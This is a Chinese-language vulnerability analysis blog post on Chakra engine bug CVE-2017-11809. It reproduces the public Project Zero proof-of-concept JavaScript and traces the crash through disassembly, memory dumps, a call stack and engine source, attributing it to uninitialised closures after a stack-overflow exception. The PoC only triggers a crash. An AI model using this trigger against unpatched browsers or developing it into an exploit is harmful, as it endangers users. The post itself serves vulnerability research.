欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]【Chakra】CVE-2017-11809

[原创]【Chakra】CVE-2017-11809

POC

这个漏洞是10月份Chakra最新补丁所修补的,POC由韩国神童公布在Pj0
https://bugs.chromium.org/p/project-zero/issues/detail?id=1338&can=1&q=lokihardt%40google.com

function trigger() {

    let a, b, c;

    function g() {

        trigger();

        a, b, c;

    }

    g();

}

trigger();

分析

执行POC异常地点如下

00007FFC59B0D960  mov         qword ptr [rsp+8],rcx  

00007FFC59B0D965  sub         rsp,28h  

00007FFC59B0D969  mov         eax,8  

00007FFC59B0D96E  imul        rax,rax,0  

00007FFC59B0D972  mov         rcx,qword ptr [this]  

00007FFC59B0D977  mov         rcx,qword ptr [rcx]  

===>00007FFC59B0D97A  mov         rcx,qword ptr [rcx+rax]  

00007FFC59B0D97E  call        Math::PointerCastToIntegralTruncate<unsigned int> (07FFC596D4410h)

其中rcx的值为0x4208导致mov内存访问违例,分析发现rcx其实是ScopeSlots对象的private成员slotArray

class ScopeSlots

{

private:

    Var* slotArray;

}

追溯slotArray的来源发现是由scopeSlots进行初始化的

Var * scopeSlots = (Var *)frameDisplay->GetItem(i);

size_t scopeSlotcount = ScopeSlots(scopeSlots).GetCount(); // (size_t)scopeSlots

而scopeSlots是在frameDisplay中取出的,frameDisplay是传递的FrameDisplay对象指针

 FrameDisplay * StackScriptFunction::BoxState::BoxFrameDisplay(FrameDisplay * frameDisplay)

继续跟踪frameDisplay的来源

if (callerFunctionBody->DoStackFrameDisplay())

{

    Js::FrameDisplay *stackFrameDisplay = interpreterFrame->GetLocalFrameDisplay();

    // Local frame display may be null if bailout didn't restore it, which means we don't need it.

    if (stackFrameDisplay)

    {

        Js::FrameDisplay *boxedFrameDisplay = this->BoxFrameDisplay(stackFrameDisplay);

        interpreterFrame->SetLocalFrameDisplay(boxedFrameDisplay);

    }

}

可以看到stackFrameDisplay是在interpreterFrame中取出的

FrameDisplay* InterpreterStackFrame::GetLocalFrameDisplay() const

{

    return this->localFrameDisplay;

}

localFrameDisplay    0x000000302c910490

0x000000302C910490  0000015927d40960 0000000000004208  `.?'Y....B......

0x000000302C9104A0  0000000000000003 00007ffc59c4ee17  .........??Y?...

0x000000302C9104B0  000001611cf82164 0000000000000080  d!?.a... ?......

0x000000302C9104C0  0000000000000001 00007ffc5a623a42  ........B:bZ?...

0x000000302C9104D0  0000000000000000 0000016127ea01d0  ........?.?'a...

0x000000302C9104E0  0000016127000000 000000302c9102c0  ...'a...?.?,0...

0x000000302C9104F0  0000015927c4f4f0 000000302c9102c0  ???'Y...?.?,0...

0x000000302C910500  0000015927d40960 000000015a0cd242  `.?'Y...B?.Z....

观察以下调用栈

Js::StackScriptFunction::BoxState::Box

Js::StackScriptFunction::Box

Js::StackScriptFunction::EnsureBoxed

Js::JavascriptExceptionContext::SetThrowingFunction

Js::JavascriptExceptionOperators::WalkStackForExceptionContext

Js::JavascriptExceptionOperators::ThrowExceptionObjectInternal

Js::JavascriptExceptionOperators::ThrowExceptionObject

Js::JavascriptExceptionOperators::ThrowStackOverflow

Js::JavascriptError::ThrowStackOverflowError

Js::Exception::RaiseIfScriptActive

JsUtil::ExternalApi::RaiseStackOverflowIfScriptActive

Js::Throw::StackOverflow

ThreadContext::ProbeStack

Js::InterpreterStackFrame::ProcessUnprofiled

Js::InterpreterStackFrame::Process

Js::InterpreterStackFrame::InterpreterHelper

Js::InterpreterStackFrame::InterpreterThunk

注意ThrowStackOverflowError,之所以会产生这个错误推测是因为poc递归的相互调用导致了栈空间被耗尽。
之后发生的事情与描述的一致,在InterpreterStackFrame::INTERPRETERLOOPNAME函数中,正常情况下是由this->InitializeClosures();对栈变量进行初始化的。但是由于poc耗尽了栈空间,导致PROBE_STACK函数直接抛出异常,而在异常处理函数中却引用了还未来的及初始化的栈变量,导致了内存未初始化漏洞。

Var Js::InterpreterStackFrame::INTERPRETERLOOPNAME()

{

    PROBE_STACK(scriptContext, Js::Constants::MinStackInterpreter);

    if (!this->closureInitDone)

    {

        // If this is the start of the function, then we've waited until after the stack probe above

        // to set up the FD/SS pointers, so do it now.

        Assert(this->m_reader.GetCurrentOffset() == 0);

        this->InitializeClosures();

    }

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功